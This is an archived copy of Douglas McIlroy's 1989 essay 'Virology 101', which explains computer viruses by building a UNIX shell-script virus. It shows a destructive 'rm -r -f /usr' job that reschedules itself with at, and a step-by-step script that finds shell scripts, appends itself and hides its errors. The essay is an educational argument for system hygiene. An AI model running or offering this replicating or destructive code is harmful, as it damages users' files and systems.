VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Virology 101

Douglas McIlroy
Computing Systems, 1989, v.2, N 2, pp. 173-181
ISSN 0895-6340

PDFDownload PDF (20.74Kb) (You need to be registered on forum)
[Back to index] [Comments]

Bell Laboratories Murray Hill, New Jersey 07974


There is nothing mysterious about computer viruses. A working, but easily observable, virus can be written in a few lines of code. Although particular virus attacks may be guarded against, no general defense within one domain of reference is possible; viruses are a natural consequence of stored-program computation. Like other hazards of technology, their threat may be mitigated by cautious behavior and community sanctions.

The principle I intend to demonstrate a simple, yet realistic, computer virus for people who may be curious but who havenot been motivated to dabble in this shady field. Nothing here will edify folks bent on mischief. The example is made for clarity; it makes no malign effort to hide in obscure recesses of a computer system. Ithas been expressed in a highly accessible language the shell language of UNIX(R) systems. Thus it may beunderstood without resort to "microscope and tweezers." [3] For good cause, it has not been tested.

Ostensibly as a public service, but probably more to establish priestly mystery, writers about viruses usu-ally omit the details. One claimed, "Most computer programmers, aside from virus researchers, have... difficulty in writing the code to make a virus replicate itself and secure itself to another disk." [4] Despitethe claim, programs that reproduce themselves are not hard to make [9]. Indeed, like M. Jourdain, who was astonished to learn he'd been speaking prose all his life [6], programmers make or use them unconsciously in everyday work.

Not only can almost anybody make a self-reproducing program [1], almost everybody already has one: just turn a file-copy program on itself. As soon as you can program a computer to do anything repeatedly and that is the real reason for having acomputer at all you can make it do something bad repeatedly. The file removal command can cause an earthquake in UNIX systems. The one-liner,

rm -r -f /usr

says, "Recursively (-r), and without bothering me with diagnostics (-f), remove all the files you can fromusers' directories." One more line of code will cause an unending swarm of earthquakes. Place in the file earthquake (in a write-protected directory),

rm -r -f /usr
at 0200 sunday earthquake

Submit it for execution at 2AM next Sunday:

at 0200 sunday earthquake 

After the earthquake happens, another will be scheduled for the following week, and so on. The program will reproduce itself even across computer outages.

Both rm and at are eminently useful programs. The fact that they might be used for nefarious purposesdoes not deter us from providing them to computer users any more than does the incendiary nature of gasoline keep us from selling it to motorists.

All the cleverness of the earthquake program lies in the second line; the first line is mere malice. Thus asingle line of code is all it takes to make a self-perpetuating program. Perhaps, though, the earthquake is unfair: the at utility upon which it depends seems to have been specially tailored for the purpose. A thor-oughly realistic example should be made of more ordinary materials.

Here's an ancestral model. Too clumsy to get very far undetected, it nevertheless contains the same nuggetused by all its more sophisticated descendants, which differ only in degrees of caution and aggressiveness. The virus is a shell script, which lives in file /tryme. Its entire text is

cp /tryme $1

Suppose a gullible snooper tries to find out what /tryme does, giving it a random argument for good measure:

/tryme sure

Lo and behold, a new file sure appears, containing another copy of the same shell script,

cp /tryme $1

The program has reproduced itself, and it will reproduce itself again as soon as somebody executes sure. This tiny critter has its drawbacks. If the argument names an existing writable file, that file will be wipedout and replaced by the virus a brutal attack that will not go unnoticed for long. If the argument names a new file, its unexpected creation could be a tip-off. If our curious gull simply types /tryme the virus willreveal itself instantly through a diagnostic:

Usage: cp f1 f2; or cp f1 ... fn d2

Finally, no matter how badly the system is infected, the epidemic can be stopped simply by removing /tryme. The virus is both too lethal to its prey and too delicate itself to propagate far, if at all. Still, itembodies the basic plot: make a file that will copy itself somewhere else. All we need to add is a little finesse.

A realistic specimen

It might be argued that earthquake and tryme are not viruses at all because they are programs in theirown right, while a virus should live inside another program. The distinction is largely in the mind of the beholder. Step back a little and you will see a computer system as one large program working in one largememory the entire file system. Most systems contain copy programs or backup dump programs that can copy themselves or even the whole system to a tape, another disc, or another computer. From this stand-point we can identify as viruses some important components of perfectly healthy systems. Nevertheless, I shall proceed to elaborate the program into one that will be recognized as a virus by any definition. We can take the copy from the current program rather than from a fixed place. Now the virus will carry itsown genetic recipe; the contagion will persist until the last copy is eliminated.

cp $0 $1

The cryptic first line (#!/bin/sh) identifies the program as a shell script. Suppose the script lives in file /bin/traductor, and is normally invoked by typing traductor. Parameter $0 becomes the realname of the program, /bin/traductor.* Thus the command traductor firsttarget finally executes

cp /bin/traductor firsttarget 

(*) This is why the script begins with #!/bin/sh. Without that indicator, parameter $0 would merely be the name under which the script was invoked, namely traductor, which may be insufficient to locate the file for copying.

Now firsttarget contains the virus, too. When it is invoked, say in the form firsttarget secondtarget, it will be executed as

cp firsttarget secondtarget

The virus will replicate regardless of what has become of the original in /bin/traductor.

We can test the target to ensure that the only files to be hit are executable (-x); it was unnecessarily roughto infect anything else. New code is shown in bold type.

if test t -x "$1"
then cp $0 $1

We can look around the current directory for prey, not depending on the gull to supply it. In so doing wealso cause the infection to spread to several victims ($i) at a time.

for i in *
do	if test -x "$i"
	then cp $0 $i

WARNING: THE BUG IS GETTING NASTIER. STUDY IT, BUT DON'T TRY IT. You may lose friends. And you maynever recover. Suppose a copy makes its way onto a backup disc.

Yet more selectively, we can choose to infect only files that identify themselves as shell scripts with a tell-tale #!/bin/sh in the first line.

for i in * 
do	case "`sed 1q $i`" in
	"#!/bin/sh") cp $0 $i

The stream editor, sed, delivers one line from the target file and quits (1q); the technical baggage ofquotes may be ignored.

The virus still wantonly overwrites each file it attacks. The attack may be sharpened by appending toscripts rather than replacing them. Now infected programs will do what they were originally supposed to do plus a bit more. The virus becomes a stowaway rather than a crude imposter.

for i in * #virus#
do	case "`sed 1q $i`" in
	"#!/bin/sh") sed -n '/#virus#/,$p' $0 >> $i

The work is all done in the second sed command, which says scan without printing (-n) the file itself($0); print (p) from the line marked with the comment #virus# through to the end ($); and append (>>) the result to the target ($i). The initial #!/bin/sh has disappeared. It is no longer part of the virusproper, as it is not copied when the virus reproduces.

To keep infected files from growing exponentially, it's a good idea to prevent reinfection of alreadyinfected code.

for i in * #virus#
do	case "`sed 1q $i`" in
	"#!/bin/sh") grep '#virus#' $i > /dev/null ||
	sed -n '/#virus#/,$p' $0 >>$i

The guarding grep command searches for any #virus# line in the target. The output is redirected (>) toa rathole (/dev/null). When grep fails to find anything, a new victim has been located and the sedcommand is activated conditionally (||).

Finally, we can discard any diagnostics that appear on the standard error stream (2>/dev/null), so thevirus will be silent when things go wrong.

for i in * #virus#
do	case "`sed 1q $i`" in
	"#!/bin/sh") grep '#virus#' $i >/dev/null || 
	sed -n '/#virus#/,$p' $0 >>$i
done 2> /dev/null

As variations on the theme, we might try to fork the virus into the background in order to conceal the timeit takes, or try to overwhelm defenses by forking aggressively inside the loop.


Shell viruses are remarkably simple. If we give tryme a one-letter name, it fits in eight bytes. The fanci-est version, small enough to merit the name Traductor simplicimus, easily fits in 150 bytes.

Simplicimus needs a vector, namely a computer user, and only makes limited forays of its own (for i in *). A vector, however, can carry it to another machine that has the same operating system and shell. Agri-culturalists know the phenomenon: epidemics spread readily in monocultures. Standardization has its risks.

A vector isn't necessary. Anything that one can tell a machine to do manually can be automated. It is nogreat leap from simplicimus's simple search around one directory to a search further afield other directories, other disks, or other machines. And, as in the earthquake example, it is an equally small step to a real Traductor pugnax that activates new copies of itself without human intervention.

The present exercise, which was distilled from programs by Tom Duff, adds force to the title of a technicalreport by Jim Reeds, /bin/sh: The biggest UNIX security loophole, but with a mordant twist [2], [7]. The possibility of shell viruses arises not from special properties of the UNIX system or its shell commandlanguage, but from the mere fact that the shell and the file system behave as processor and memory of a stored program computer. Viruses are a corollary of universality.

To put it another way, if you have a programmable computer with a file system inhabited by both programsand data, you can make viruses. It doesn't matter what hardware or operating system you are using. Nobody can stop you.

It is often possible, however, to prevent a virus created at one level of programming from infecting anotherlevel. If you have no way to modify the firmware of your machine from the programming level, the firmware is safe at least from programmers. Similarly, if the only programs you can write are for aninterpreter that lives in files inaccessible from any interpreted program, then you can't infect the interpreter. Likewise, user programs can't infect system code that boots from a read-only device and has its own address space. For example, the operating system kernel is immune to Traductor, which attacks the wronglanguage in the wrong address space to cause any harm to the kernel. By contrast, the extreme malignity of some PC viruses owes in no small part to the complete absence of level distinctions in the architecture; nopart of the system is safe from any machine-language program.

Bryan Kocher wisely observed that epidemics are best averted by paying assiduous attention to public health [5]. A sensationalist press even the respected scientific press often oversells "vaccines" andother countermeasures as panaceas [8]. Some of these products guard against particular attacks, usually by noticing when particular programs, especially operating system bootstraps, change. Some watch for subtlerchanges. But as long as a system is not absolutely static and any programs can change, it will be open to attack [9]. No fixed set of hygienic measures can provide lasting immunity. Continuing attention is crucial.

Hygiene pays off. AT&T resisted the great Internet virus of November 2, 1988 [3], by "good housekeeping and good luck," in the words of Fred Grampp. Good housekeeping, because the keepers of the corporate network gateway, especially Dave Presotto, refused to run the tortuous software that the virusexploited. Good luck, because some AT&T computers did run that software, but, thanks to the gateway, were not exposed directly to the Internet.

Computer viruses are aptly named. They are a consequence of programming as disease is a consequence ofliving. Higher forms of programming, like higher forms of life, are subject to more forms of disease. So it is with shells. In a rich environment of software tools, a shell becomes a programming language of remarkable power. Ultimately the ends to which that power may be turned will be determined by community norms and sanctions.


  1. Dewdney, A. K. Computer recreations. Scientific American 250, 5 (May, 1984), 15-19.
  2. Duff, T. D. S. Viral attacks on UNIX system security. In Proceedings of the Winter 1989 Usenix conference, Usenix Association, Berkeley, January, 1989.
  3. Eichen, M. and Rochlis, J. With microscope and tweezers: an analysis of the Internet virus of November 1988. Massachusetts Institute of Technology, 1988.
  4. Highland, H. J. Random bits and bytes. Computers and Security 7 (1988), 337-346.
  5. Kocher, B. A hygiene lesson. CACM 32 (1989), 3,6.
  6. Moliere Le Bourgeois Gentilhomme. Act II, Scene 4, Paris, 1670.
  7. Reeds, J. A. /bin/sh: The biggest UNIX(TM) security loophole. AT&T Bell Laboratories, Murray Hill,NJ, 1984.
  8. Shulman, S. `Virus-proof' computer security system. Nature 337 (5 January, 1989), 4.
  9. Thompson, K. Reflections on trusting trust. CACM 27 (1984), 761-764.
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka